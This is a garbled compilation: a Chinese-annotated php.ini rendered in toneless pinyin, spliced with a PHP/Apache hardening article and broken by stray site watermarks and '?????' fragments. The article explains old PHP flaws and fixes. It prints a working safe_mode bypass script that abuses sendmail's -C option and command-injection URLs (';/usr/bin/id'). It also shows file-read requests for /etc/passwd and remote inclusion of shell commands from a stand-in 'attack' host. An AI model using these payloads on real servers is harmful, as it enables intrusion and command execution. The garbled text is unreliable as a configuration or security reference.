  ;upload_tmp_dir = ; yong yu HTTP shang zai de wen jian de lin shi mu lu ( wei zhi ding ze shi yong xi tong mo ren )
  upload_max_filesize = 2M ; shang zai wen jian de zui da xu ke da xiao
  ; Fopen wrappers ;
  ;;;;;;;;;;;;;;;;;;
  allow_url_fopen = On ; shi fou yuan xu ba URLs dang zuo http:.. huo ba wen jian dang zuo ftp:...
  ;;;;;;;;;;;;;;;;;;;;;;
  ; dong tai kuo zhan ;
  ; Dynamic Extensions ;
  ;;;;;;;;;;;;;;;;;;;;;;
  ; ruo ni xi wang yi ge kuo zhan ku zi dong jia zai , yong xia mian de yu fa :
  ; extension=modulename.extension
  ; li ru , zai windows shang ,
  ; extension=msql.dll
  ; or zai UNIX xia ,
  ; extension=msql.so
  ; zhu yi , zhe zhi ying dang shi mo kuai de ming zi , bu xu yao mu lu xin xi fang zai li mian .
  ; yong shang mian de extension_dir zhi shi zhi ding kuo zhan ku de wei zhi .
  ;Windows kuo zhan
  ;extension=php_nsmail.dll
  extension=php_calendar.dll
  ;extension=php_dbase.dll
  ;extension=php_filepro.dll
  extension=php_gd.dll
  ;extension=php_dbm.dll
  ;extension=php_mssql.dll
  ;extension=php_zlib.dll
  ;extension=php_filepro.dll
  ;extension=php_imap4r2.dll
  ;extension=php_ldap.dll
  ;extension=php_crypt.dll
  ;extension=php_msql2.dll
  ;extension=php_odbc.dll
  ; zhu yi , MySQL de zhi chi xian zai shi nei jian de , yin ci , bu xu yao yong ta de dll
  ;;;;;;;;;;;;;;;;;;;
  ; mo kuai she ding ;
  ; Module Settings ;
  ;;;;;;;;;;;;;;;;;;;
  [Syslog]
  define_syslog_variables = Off ; shi fou ding yi ge zhong de xi tong ri zhi bian liang
  ; ru :$LOG_PID, $LOG_CRON, deng deng .
  ; guan diao ta shi ge ti gao xiao lv de hao zhu yi .
  ; yun xing shi , ni ke yi tiao yong han shu define_syslog_variables(), lai ding yi zhe xie bian liang
  [mail function]
  SMTP = localhost ; jin yong yu win32 xi tong
  sendmail_from =me@localhost.com; jin yong yu win32 xi tong
  ;sendmail_path = ; jin yong yu unix, ye ke zhi chi shen shu ( mo ren de shi 'sendmail -t -i')
  [Debugger]
  debugger.host = localhost
  debugger.port = 7869
  debugger.enabled = False
  [Logging]
  ; zhe xie pei zhi zhi shi yong yu shi li de ri zhi ji lu ji zhi .
  ; kan examples/README.logging yi de dao geng duo de jie shi
  ;logging.method = db
  ;logging.directory = /path/to/log/directory
  [Java]
  ;java.class.path = .\php_java.jar
  ;java.home = c:\jdk
  ;java.library = c:\jdk\jre\bin\hotspot\jvm.dll
  ;java.library.path = .\
  [SQL]
  sql.safe_mode = Off
  [ODBC]
  ;uodbc.default_db = Not yet implemented
  ;uodbc.default_user = Not yet implemented
  ;uodbc.default_pw = Not yet implemented
  uodbc.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie
  uodbc.check_persistent = On ; zai chong yong qian jian cha lian jie shi fou huan ke yong
  uodbc.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi
  uodbc.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi wang guan u jia u.bitsCN.com
  uodbc.defaultlrl = 4096 ; kong zhi LONG lei xing de zi duan . fan hui bian liang de zi jie shu ,0 dai biao tong guo (?)0 means passthru
  uodbc.defaultbinmode = 1 ; kong zhi er jin zhi shu ju .0 dai biao ?????Handling of binary data. 0 means passthru, 1 return as is, 2 convert to char
  ; jian you guan odbc_binmode he odbc_longreadlen de wen dang yi de dao uodbc.defaultlrl he uodbc.defaultbinmode de jie shi .
  [MySQL]
  mysql.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie
  mysql.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi
  mysql.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi
  mysql.default_port = ; mysql_connect() shi yong de mo ren duan kou , ru bu she zhi ,mysql_connect()
  ; jiang shi yong bian liang $MYSQL_TCP_PORT, huo zai /etc/services xia de mysql-tcp tiao mu (unix),
  ; huo zai bian yi shi ding yi de MYSQL_PORT( an zhe yang de shun xu )
  ; Win32 huan jing , jiang jin jian cha MYSQL_PORT.
  mysql.default_socket = ; yong yu ben di MySql lian jie de mo ren de tao jie zi ming . wei kong , shi yong MYSQL nei jian zhi
  mysql.default_host = ; mysql_connect() mo ren shi yong de zhu ji ( an quan mo shi xia wu xiao )
  mysql.default_user = ; mysql_connect() mo ren shi yong de yong hu ming ( an quan mo shi xia wu xiao )
  mysql.default_password = ; mysql_connect() mo ren shi yong de mi ma ( an quan mo shi xia wu xiao )
  ; zhu yi , zai zhe ge wen jian xia bao cun mi ma tong chang shi yi ge * huai * zhu yi
  ; * ren he * ke yi shi yong PHP fang wen de yong hu ke yi yun xing
  ; 'echo cfg_get_var("mysql.default_password")' lai xian shi na ge mi ma !
  ; er qie dang ran di , ren he you du gai wen jian quan li de yong hu ye neng kan dao na ge mi ma .
  [mSQL]
  msql.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie
  msql.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi
  msql.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi
  [PostgresSQL]
  pgsql.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie
  pgsql.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi
  pgsql.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi
  [Sybase]
  sybase.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie
  sybase.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi
  sybase.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi
  ;sybase.interface_file = "/usr/sybase/interfaces"
  sybase.min_error_severity = 10 ; xian shi de cuo wu de zui di yan chong xing
  sybase.min_message_severity = 10 ; xian shi de xiao xi de zui di chong yao xing
  sybase.compatability_mode = Off ; yu jiu ban de PHP 3.0 jian rong de mo shi . ruo da kai , zhe jiang dao zhi PHP zi dong di
  ; ba gen ju jie guo de Sybase lei xing fu yu ta men ,
  ; er bu shi ba ta men quan dang cheng zi fu chuan .
  ; zhe ge jian rong mo shi bu hui yong yuan liu zhe ,
  ; yin ci , jiang ni de dai ma jin xing xu yao de xiu gai ,
  ; bing jiang gai xiang guan bi .
  [Sybase-CT]
  sybct.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie
  sybct.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi
  sybct.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi
  sybct.min_server_severity = 10 ; xian shi de cuo wu de zui di yan chong xing
  sybct.min_client_severity = 10 ; xian shi de xiao xi de zui di chong yao xing
  [bcmath]
  bcmath.scale = 0 ; yong yu suo you bcmath han shu de 10 shi jin zhi shu shu zi de ge shu number of decimal digits for all bcmath functions
  [browscap]
  ;browscap = extra/browscap.ini
  browscap = C:\WIN\SYSTEM\inetsrv\browscap.ini
  [Informix]
  ifx.default_host = ; ifx_connect() mo ren shi yong de zhu ji ( an quan mo shi xia wu xiao )
  ifx.default_user = ; ifx_connect() mo ren shi yong de yong hu ming ( an quan mo shi xia wu xiao )
  ifx.default_password = ; ifx_connect() mo ren shi yong de mi ma ( an quan mo shi xia wu xiao )
  ifx.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie
  ifx.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi
  ifx.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi
  ifx.textasvarchar = 0 ; ruo da kai ,select zhuang tai fu fan hui yi ge ‘text blob’ zi duan de nei rong , er bu shi ta de id
  ifx.byteasvarchar = 0 ; ruo da kai ,select zhuang tai fu fan hui yi ge ‘byte blob’ zi duan de nei rong , er bu shi ta de id
  ifx.charasvarchar = 0 ; zhui zong cong gu ding chang du de zi fu lie li bo li de kong ge .
  ; ke neng dui Informix SE yong hu you xiao .
  ifx.blobinfile = 0 ; ruo da kai ,text he byte blobs de nei rong bei dao chu dao yi ge wen jian
  ; er bu shi bao cun dao nei cun .
  ifx.nullformat = 0 ; NULL( kong ) bei zuo wei kong zi duan fan hui , chu fei , zhe li bei she wei 1.
  ; zhe zhong qing kuang xia ( wei 1),NULL zuo wei zi chuan NULL fan hui .
  [Session]
  session.save_handler = files ; yong yu bao cun / qu hui shu ju de kong zhi fang shi
  session.save_path = C:\win\temp ; zai save_handler she wei wen jian shi chuan gei kong zhi qi de shen shu ,
  ; zhe shi shu ju wen jian jiang bao cun de lu jing .
  session.use_cookies = 1 ; shi fou shi yong cookies
  session.name = PHPSESSID
  ; yong zai cookie li de session de ming zi
  session.auto_start = 0 ; zai qing qiu qi dong shi chu shi hua session
  session.cookie_lifetime = 0 ; wei an miao ji de cookie de bao cun shi jian ,
  ; huo wei 0 shi , zhi dao liu lan qi bei chong qi
  session.cookie_path = / ; cookie de you xiao lu jing
  session.cookie_domain = ; cookie de you xiao yu
  session.serialize_handler = php ; yong yu lian jie shu ju de kong zhi qi
  ; php shi PHP de biao zhun kong zhi qi .
  session.gc_probability = 1 ; an bai fen bi de 'garbage collection( sui pian zheng li )' jin cheng
  ; zai mei ci session chu shi hua de shi hou kai shi de ke neng xing . wang guan bitscn_com
  session.gc_maxlifetime = 1440 ; zai zhe li shu zi suo zhi de miao shu hou , bao cun de shu ju jiang bei shi wei
  ; ' sui pian (garbage)' bing you gc jin cheng qing li diao .
  session.referer_check = ; jian cha HTTP yin yong yi shi e wai bao han yu URLs zhong de ids wu xiao
  session.entropy_length = 0 ; cong wen jian zhong du qu duo shao zi jie
  session.entropy_file = ; zhi ding zhe li jian li session id
  ; session.entropy_length = 16
  ; session.entropy_file = /dev/urandom
  session.cache_limiter = nocache ; she wei {nocache,private,public}, yi jue ding HTTP de
  ; huan cun wen ti
  session.cache_expire = 180 ; wen dang zai n fen zhong hou guo shi
  session.use_trans_sid = 1 ; shi yong guo du xing de sid zhi chi , ruo bian yi shi xu ke le
  ; --enable-trans-sid
  url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
  [MSSQL]
  ;extension=php_mssql.dll
  mssql.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie
  mssql.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi
  mssql.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi wang guan u jia u.bitsCN.com
  mssql.min_error_severity = 10 ; xian shi de cuo wu de zui di yan chong xing
  mssql.min_message_severity = 10 ; xian shi de xiao xi de zui di chong yao xing
  mssql.compatability_mode = Off ; yu jiu ban de PHP 3.0 jian rong de mo shi .
  [Assertion]
  ; ?????
  ;assert.active = On ; ?assert(expr); active by default
  ;assert.warning = On ; issue a PHP warning for each failed assertion.
  ;assert.bail = Off ; don't bail out by default.
  ;assert.callback = 0 ; user-function to be called if an assertion fails.
  ;assert.quiet_eval = 0 ; eval the expression with current error_reporting(). set to true if you want error_reporting(0) around the eval().
  [Ingres II]
  ii.allow_persistent = On ; yuan xu huo jin zhi chi jiu lian jie
  ii.max_persistent = -1 ; chi jiu lian jie de zui da shu .-1 dai biao wu xian zhi
  ii.max_links = -1 ; lian jie de zui da shu mu ( chi jiu he fei chi jiu ).-1 dai biao wu xian zhi
  ii.default_database = ; mo ren database (format : [node_id::]dbname[/srv_class]
  ii.default_user = ; mo ren user
  ii.default_password = ; mo ren password wang guan xia zai dl.bitscn.com
  [Verisign Payflow Pro]
  pfpro.defaulthost = "test.signio.com" ; mo ren de Signio fu wu qi
  pfpro.defaultport = 443 ; lian jie de mo ren duan kou
  pfpro.defaulttimeout = 30 ; an miao ji de mo ren chao shi shi jian
  ; pfpro.proxyaddress = ; mo ren de dai li de IP di zhi ( ru guo xu yao )
  ; pfpro.proxyport = ; mo ren de dai li de duan kou
  ; pfpro.proxylogon = ; mo ren de dai li de deng lu (logon yong hu ming )
  ; pfpro.proxypassword = ; mo ren de dai li de mi ma
  [Sockets]
  sockets.use_system_read = On ; shi yong xi tong de read() han shu ti dai php_read() feng zhuang
  ; Local Variables: ( ju bu bian liang )
  ; tab-width: 4
  ; End:【原文】【汉音对照
 
 
 
 
 
 
 
 
 
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yi 、Web fu wu qi an quan PHP qi shi bu guo shi Web fu wu qi de yi ge mo kuai gong neng , suo yi shou xian yao bao zheng Web fu wu qi de an quan 。 dang ran Web fu wu qi yao an quan you bi xu shi xian bao zheng xi tong an quan , zhe yang jiu che yuan le , wu qiong wu jin 。PHP ke yi he ge zhong Web fu wu qi jie he , zhe li ye zhi tao lun Apache。 fei chang jian yi yi chroot fang shi an zhuang qi dong Apache, zhe yang ji shi Apache he PHP ji qi jiao ben chu xian lou dong , shou ying xiang de ye zhi you zhe ge jin gu de xi tong , bu hui wei hai shi ji xi tong 。 dan shi shi yong chroot de Apache hou , gei ying yong ye hui dai lai yi ding de ma fan , bi ru lian jie mysql shi bi xu yong 127.0.0.1 di zhi shi yong tcp lian jie er bu neng yong localhost shi xian socket lian jie , zhe zai xiao lv shang hui shao wei cha yi dian 。 huan you mail han shu fa song you jian ye shi ge wen ti , yin wei php.ini li de : [mail function] ; For Win32 only. SMTP = localhost ; For Win32 only. sendmail_from [url=mailto:=me@localhost.com]=me@localhost.com[/url] dou shi zhen dui Win32 ping tai , suo yi xu yao zai chroot huan jing xia tiao zheng hao sendmail。 er 、PHP ben shen wen ti wang guan u jia [url=mailto:u.bitscn@com]u.bitscn@com[/url] 1、 yuan cheng yi chu PHP-4.1.2 yi xia de suo you ban ben dou cun zai wen jian shang chuan yuan cheng huan chong qu yi chu lou dong , er qie gong ji cheng xu yi jing guang fan liu chuan , cheng gong lv fei chang gao . 2、 yuan cheng ju jue fu wu PHP-4.2.0 he PHP-4.2.1 cun zai PHP multipart/form-data POST qing qiu chu li yuan cheng lou dong , sui ran bu neng huo de ben di yong hu quan xian , dan shi ye neng zao cheng ju jue fu wu 。 3、safe_mode rao guo lou dong huan you PHP-4.2.2 yi xia dao PHP-4.0.5 ban ben dou cun zai PHP mail han shu rao guo safe_mode xian zhi zhi xing ming ling lou dong ,4.0.5 ban ben kai shi mail han shu zeng jia le di wu ge shen shu , you yu she ji zhe kao lv bu zhou ke yi tu po safe_mode de xian zhi zhi xing ming ling 。 qi zhong 4.0.5 ban ben tu po fei chang jian dan , zhi xu yong fen hao ge kai hou mian jia shell ming ling jiu ke yi le , bi ru cun zai PHP jiao ben evil.php: zhi xing ru xia de URL: [url=http://foo.com/evil.php?bar=;/usr/bin/id]http://foo.com/evil.php?bar=;/usr/bin/id[/url] [url=mailto:mailevil@domain.com]mailevil@domain.com[/url] zhe jiang id zhi xing de jie guo fa song gei [url=mailto:evil@domain.com]evil@domain.com[/url]。 dui yu 4.0.6 zhi 4.2.2 de PHP tu po safe_mode xian zhi qi shi shi li yong le sendmail de -C shen shu , suo yi xi tong bi xu shi shi yong sendmail。 ru xia de dai ma neng gou tu po safe_mode xian zhi zhi xing ming ling : # zhu yi , xia mian zhe liang ge bi xu shi bu cun zai de , huo zhe ta men de shu zhu he ben jiao ben de shu zhu shi yi yang $script="/tmp/script123"; $cf="/tmp/cf123"; $fd = fopen($cf, "w"); fwrite($fd, "OQ/tmp Sparse=0 R$*" . chr(9) . "$#local $@ $: Mlocal, P=/bin/sh, A=sh $script"); fclose($fd); $fd = fopen($script, "w"); fwrite($fd, "rm -f $script $cf; "); fwrite($fd, $cmd); fclose($fd); mail("nobody", "", "", "", "-C$cf"); ?> huan shi shi yong yi shang you wen ti ban ben PHP de yong hu yi ding yao ji shi sheng ji dao zui xin ban ben , zhe yang cai neng xiao chu ji ben de an quan wen ti 。 san 、PHP ben shen de an quan pei zhi PHP de pei zhi fei chang ling huo , ke yi tong guo php.ini, httpd.conf, .htaccess wen jian ( gai mu lu bi xu she zhi le AllowOverride All huo Options) jin xing she zhi , huan ke yi zai jiao ben cheng xu li shi yong ini_set() ji qi ta de te ding de han shu jin xing she zhi 。 tong guo phpinfo() he get_cfg_var() han shu ke yi de dao pei zhi xuan xiang de ge ge zhi 。 ru guo pei zhi xuan xiang shi wei yi PHP_INI_SYSTEM shu xing de , bi xu tong guo php.ini he httpd.conf lai xiu gai , ta men xiu gai de shi PHP de Master zhi , dan xiu gai zhi hou bi xu chong qi apache cai neng sheng xiao 。 qi zhong php.ini she zhi de xuan xiang shi dui Web fu wu qi suo you jiao ben sheng xiao ,httpd.conf li she zhi de xuan xiang shi dui gai ding yi de mu lu xia suo you jiao ben sheng xiao 。 ru guo huan you qi ta de PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL shu xing de xuan xiang jiu ke yi shi yong .htaccess wen jian she zhi , ye ke yi tong guo zai jiao ben cheng xu zi shen yong ini_set() han shu she ding , ta men xiu gai de shi Local zhi , gai le yi hou ma shang sheng xiao 。 dan shi .htaccess zhi dui dang qian mu lu de jiao ben cheng xu sheng xiao ,ini_set() han shu zhi dui gai jiao ben cheng xu she zhi ini_set() han shu yi hou de dai ma sheng xiao 。 ge ge ban ben de xuan xiang shu xing ke neng bu jin xiang tong , ke yi yong ru xia ming ling cha zhao dang qian yuan dai ma de main.c wen jian de dao suo you de xuan xiang , yi ji ta de shu xing : # grep PHP_INI_ /PHP_SRC/main/main.c zai tao lun PHP an quan pei zhi zhi qian , ying gai hao hao le jie PHP de safe_mode mo shi 。 1、safe_mode safe_mode shi wei yi PHP_INI_SYSTEM shu xing , bi xu tong guo php.ini huo httpd.conf lai she zhi 。 yao qi yong safe_mode, zhi xu xiu gai php.ini: safe_mode = On huo zhe xiu gai httpd.conf, ding yi mu lu : Options FollowSymLinks php_admin_value safe_mode 1 chong qi apache hou safe_mode jiu sheng xiao le 。 qi dong safe_mode, hui dui xu duo PHP han shu jin xing xian zhi , te bie shi he xi tong xiang guan de wen jian da kai 、 ming ling zhi xing deng han shu 。 suo you cao zuo wen jian de han shu jiang zhi neng cao zuo yu jiao ben UID xiang tong de wen jian , bi ru test.php jiao ben de nei rong wei : ji ge wen jian de shu xing ru xia : # ls -la total 13 drwxr-xr-x 2 root root 104 Jul 20 01:25 . drwxr-xr-x 16 root root 384 Jul 18 12:02 .. -rw-r--r-- 1 root root 4110 Oct 26 2002 index.html -rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php zai liu lan qi qing qiu test.php hui ti shi ru xia de cuo wu xin xi : Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1 ru guo bei cao zuo wen jian suo zai mu lu de UID he jiao ben UID yi zhi , na me gai wen jian de UID ji shi he jiao ben bu tong ye ke yi fang wen de , bu zhi zhe shi fou shi PHP de yi ge lou dong huan shi ling you yin qing 。 suo yi php jiao ben shu zhu zhe ge yong hu zui hao jiu zhi zuo zhe ge yong tu , jue dui jin zhi shi yong root zuo wei php jiao ben de shu zhu , zhe yang jiu da bu dao safe_mode de xiao guo le 。 ru guo xiang jiang qi fang kuan dao GID bi jiao , ze da kai safe_mode_gid ke yi kao lv zhi bi jiao wen jian de GID, ke yi she zhi ru xia xuan xiang : safe_mode_gid = On she zhi le safe_mode yi hou , suo you ming ling zhi xing de han shu jiang bei xian zhi zhi neng zhi xing php.ini li safe_mode_exec_dir zhi ding mu lu li de cheng xu , er qie shell_exec、`ls -l` zhe zhong zhi xing ming ling de fang shi hui bei jin zhi 。 ru guo que shi xu yao tiao yong qi ta cheng xu , ke yi zai php.ini zuo ru xia she zhi : safe_mode_exec_dir = /usr/local/php/exec ran hou kao bei cheng xu dao gai mu lu , na me php jiao ben jiu ke yi yong system deng han shu lai zhi xing gai cheng xu 。 er qie gai mu lu li de shell jiao ben huan shi ke yi tiao yong qi ta mu lu li de xi tong ming ling 。 safe_mode_include_dir string dang cong ci mu lu ji qi zi mu lu ( mu lu bi xu zai include_path zhong huo zhe yong wan zheng lu jing lai bao han ) bao han wen jian shi yue guo UID/GID jian cha 。 cong PHP 4.2.0 kai shi , ben zhi ling ke yi jie shou he include_path zhi ling lei si de feng ge yong fen hao ge kai de lu jing , er bu zhi shi yi ge mu lu 。 zhi ding de xian zhi shi ji shang shi yi ge qian zhui , er fei yi ge mu lu ming 。 zhe ye jiu shi shuo “safe_mode_include_dir = /dir/incl” jiang yuan xu fang wen “/dir/include” he “/dir/incls”, ru guo ta men cun zai 。 ru guo nin xi wang jiang fang wen kong zhi zai yi ge zhi ding de mu lu , na me qing zai jie yi jia shang yi ge xie xian , li ru :“safe_mode_include_dir = /dir/incl/”。 safe_mode_allowed_env_vars string she zhi mou xie huan jing bian liang ke neng shi qian zai de an quan que kou 。 ben zhi ling bao han you yi ge dou hao fen ge de qian zhui lie biao 。 zai an quan mo shi xia , yong hu zhi neng gai bian na xie ming zi ju you zai zhe li ti gong de qian zhui de huan jing bian liang 。 mo ren qing kuang xia , yong hu zhi neng she zhi yi PHP_ kai tou de huan jing bian liang ( li ru PHP_FOO = BAR)。 zhu : ru guo ben zhi ling wei kong ,PHP jiang shi yong hu ke yi xiu gai ren he huan jing bian liang ! safe_mode_protected_env_vars string ben zhi ling bao han you yi ge dou hao fen ge de huan jing bian liang de lie biao , zui zhong yong hu bu neng yong putenv() lai gai bian zhe xie huan jing bian liang 。 shen zhi zai safe_mode_allowed_env_vars zhong she zhi le yuan xu xiu gai shi ye bu neng gai bian zhe xie bian liang 。 sui ran safe_mode bu shi wan neng de ( di ban ben de PHP ke yi rao guo ), dan huan shi qiang lie jian yi da kai an quan mo shi , zai yi ding cheng du shang neng gou bi mian yi xie wei zhi de gong ji 。 bu guo qi yong safe_mode hui you hen duo xian zhi , ke neng dui ying yong dai lai ying xiang , suo yi huan xu yao tiao zheng dai ma he pei zhi cai neng he xie 。 bei an quan mo shi xian zhi huo ping bi de han shu ke yi shen kao PHP shou ce 。 tao lun wan safe_mode hou , xia mian jie he cheng xu dai ma shi ji ke neng chu xian de wen ti tao lun ru he tong guo dui PHP fu wu qi duan de pei zhi lai bi mian chu xian de lou dong 。 2、 bian liang lan yong PHP mo ren register_globals = On, dui yu GET, POST, Cookie, Environment, Session de bian liang ke yi zhi jie zhu ce cheng quan ju bian liang 。 ta men de zhu ce shun xu shi variables_order = "EGPCS"( ke yi tong guo php.ini xiu gai ), tong ming bian liang variables_order you bian de fu gai zuo bian , suo yi bian liang de lan yong ji yi zao cheng cheng xu de hun luan 。 er qie jiao ben cheng xu yuan wang wang mei you dui bian liang chu shi hua de xi guan , xiang ru xia de cheng xu pian duan jiu ji yi shou dao gong ji : //test_1.php if ($pass == "hello") $auth = 1; if ($auth == 1) echo "some important information"; else echo "nothing"; ?> gong ji zhe zhi xu yong ru xia de qing qiu jiu neng rao guo jian cha : [url=http://victim/test_1.php?auth=1]http://victim/test_1.php?auth=1[/url] zhe sui ran shi yi ge hen ruo zhi de cuo wu , dan yi xie zhu ming de cheng xu ye you fan guo zhe zhong cuo wu , bi ru phpnuke de yuan cheng wen jian kao bei lou dong :[url=http://www.securityfocus.com/bid/3361]http://www.securityfocus.com/bid/3361[/url] PHP-4.1.0 fa bu de shi hou jian yi guan bi register_globals, bing ti gong le 7 ge te shu de shu zu bian liang lai shi yong ge zhong bian liang 。 dui yu cong GET、POST、COOKIE deng lai de bian liang bing bu hui zhi jie zhu ce cheng bian liang , bi xu tong guo shu zu bian liang lai cun qu 。PHP-4.2.0 fa bu de shi hou ,php.ini mo ren pei zhi jiu shi register_globals = Off。 zhe shi de cheng xu shi yong PHP zi shen chu shi hua de mo ren zhi , yi ban wei 0, bi mian le gong ji zhe kong zhi pan duan bian liang 。 jie jue fang fa : pei zhi wen jian php.ini she zhi register_globals = Off。 yao qiu cheng xu yuan dui zuo wei pan duan de bian liang zai cheng xu zui kai shi chu shi hua yi ge zhi 。 3、 wen jian da kai ji yi shou gong ji de dai ma pian duan : //test_2.php if (!($str = readfile("$filename"))) { echo("Could not open file: $filename \n"); exit; } else { echo $str; } ?> you yu gong ji zhe ke yi zhi ding ren yi de $filename, gong ji zhe yong ru xia de qing qiu jiu ke yi kan dao /etc/passwd: [url=http://victim/test_2.php?filename=/etc/passwd]http://victim/test_2.php?filename=/etc/passwd[/url] ru xia qing qiu ke yi du php wen jian ben shen : [url=http://victim/test_2.php?filename=test_2.php]http://victim/test_2.php?filename=test_2.php[/url] PHP zhong wen jian da kai han shu huan you fopen(), file() deng , ru guo dui wen jian ming bian liang jian cha bu yan jiu hui zao cheng fu wu qi chong yao wen jian bei fang wen du qu 。 jie jue fang fa : ru fei te shu xu yao , ba php de wen jian cao zuo xian zhi zai web mu lu li mian 。 yi xia shi xiu gai apache pei zhi wen jian httpd.conf de yi ge li zi : php_admin_value open_basedir /usr/local/apache/htdocs chong qi apache hou ,/usr/local/apache/htdocs mu lu xia de PHP jiao ben jiu zhi neng cao zuo ta zi ji mu lu xia de wen jian le , fou ze PHP jiu hui bao cuo : Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx. shi yong safe_mode mo shi ye neng bi mian zhe zhong wen ti , qian mian yi jing tao lun guo le 。 4、 bao han wen jian ji yi shou gong ji de dai ma pian duan : //test_3.php if(file_exists($filename)) include("$filename"); ?> zhe zhong bu fu ze ren de dai ma hui zao cheng xiang dang da de wei hai , gong ji zhe yong ru xia qing qiu ke yi de dao /etc/passwd wen jian : [url=http://victim/test_3.php?filename=/etc/passwd]http://victim/test_3.php?filename=/etc/passwd[/url] ru guo dui yu Unix ban de PHP(Win ban de PHP bu zhi chi yuan cheng da kai wen jian ) gong ji zhe ke yi zai zi ji kai le http huo ftp fu wu de ji qi shang jian li yi ge bao han shell ming ling de wen jian , ru [url=http://attack/attack.txt]http://attack/attack.txt[/url] de nei rong shi , na me ru xia de qing qiu jiu ke yi zai mu biao zhu ji zhi xing ming ling ls /etc: [url=http://victim/test_3.php?filename=http://attack/attack.txt]http://victim/test_3.php?filename=http://attack/attack.txt[/url] gong ji zhe shen zhi ke yi tong guo bao han apache de ri zhi wen jian access.log he error.log lai de dao zhi xing ming ling de dai ma , bu guo you yu gan rao xin xi tai duo , you shi bu yi cheng gong 。 dui yu ling wai yi zhong xing shi , ru xia dai ma pian duan : //test_4.php include("$lib/config.php"); ?> gong ji zhe ke yi zai zi ji de zhu ji jian li yi ge bao han zhi xing ming ling dai ma de config.php wen jian , ran hou yong ru xia qing qiu ye ke yi zai mu biao zhu ji zhi xing ming ling : [url=http://victim/test_4.php?lib=http://attack]http://victim/test_4.php?lib=http://attack[/url] PHP de bao han han shu you include(), include_once(), require(), require_once。 ru guo dui bao han wen jian ming bian liang jian cha bu yan jiu hui dui xi tong zao cheng yan chong wei xian , ke yi yuan cheng zhi xing ming ling 。 jie jue fang fa : yao qiu cheng xu yuan bao han wen jian li de shen shu jin liang bu yao shi yong bian liang , ru guo shi yong bian liang , jiu yi ding yao yan ge jian cha yao bao han de wen jian ming , jue dui bu neng you yong hu ren yi zhi ding 。 ru qian mian wen jian da kai zhong xian zhi PHP cao zuo lu jing shi yi ge bi yao de xuan xiang 。 ling wai , ru fei te shu xu yao , yi ding yao guan bi PHP de yuan cheng wen jian da kai gong neng 。 xiu gai php.ini wen jian : allow_url_fopen = Off chong qi apache [PHP]  ; PHP huan shi yi ge bu duan fa zhan de gong ju , qi gong neng huan zai bu duan di shan jian   ; er php.ini de she zhi geng gai ke yi fan yang chu xiang dang de bian hua ,  ; zai shi yong xin de PHP ban ben qian , yan jiu yi xia php.ini hui you hao chu de   ;;;;;;;;;;;;;;;;;;;  ; guan yu zhe ge wen jian ;  ;;;;;;;;;;;;;;;;;;;  ; zhe ge wen jian kong zhi le PHP xu duo fang mian de guan dian . wei le rang PHP du qu zhe ge wen jian , ta bi xu bei ming ming wei   ; 'php.ini'.PHP jiang zai zhe xie di fang yi ci cha zhao gai wen jian : dang qian gong zuo mu lu ; huan jing bian liang PHPRC  ; zhi ming de lu jing ; bian yi shi zhi ding de lu jing .  ; zai windows xia , bian yi shi de lu jing shi Windows an zhuang mu lu .  ; zai ming ling xing mo shi xia ,php.ini de cha zhao lu jing ke yi yong -c shen shu ti dai .  ; gai wen jian de yu fa fei chang jian dan . kong bai zi fu he yong fen hao ';' kai shi de xing bei jian dan di hu lue ( jiu xiang ni ke neng   ; cai dao de yi yang ). zhang jie biao ti ( li ru : [Foo]) ye bei jian dan di hu lue , ji shi jiang lai ta men ke neng   ; you mou zhong de yi yi .  ;  ; zhi shi bei zhi ding shi yong ru xia yu fa :  ; zhi shi biao shi fu = zhi   ; directive = value  ; zhi shi biao shi fu shi * da xiao xie min gan de * - foo=bar bu tong yu FOO = bar.  ;  ; zhi ke yi shi yi ge zi fu chuan , yi ge shu zi , yi ge PHP chang liang ( ru : E_ALL or M_PI), INI chang liang zhong de   ; yi ge (On, Off, True, False, Yes, No and None) , huo shi yi ge biao da shi   ; ( ru : E_ALL & ~E_NOTICE), huo shi yong yin hao kuo qi lai de zi fu chuan ("foo").  ;  ; INI wen jian de biao da shi bei xian zhi yu wei yun suan fu he kuo hao .  ; | bitwise OR  ; & bitwise AND  ; ~ bitwise NOT  ; ! boolean NOT  ;  ; bu er biao zhi ke yong 1, On, True or Yes zhe xie zhi zhi yu kai de zhuang tai .  ; ta men ke yong 0, Off, False or No zhe xie zhi zhi yu guan de zhuang tai .  ;  ; yi ge kong zi fu chuan ke yi yong zai deng hao hou 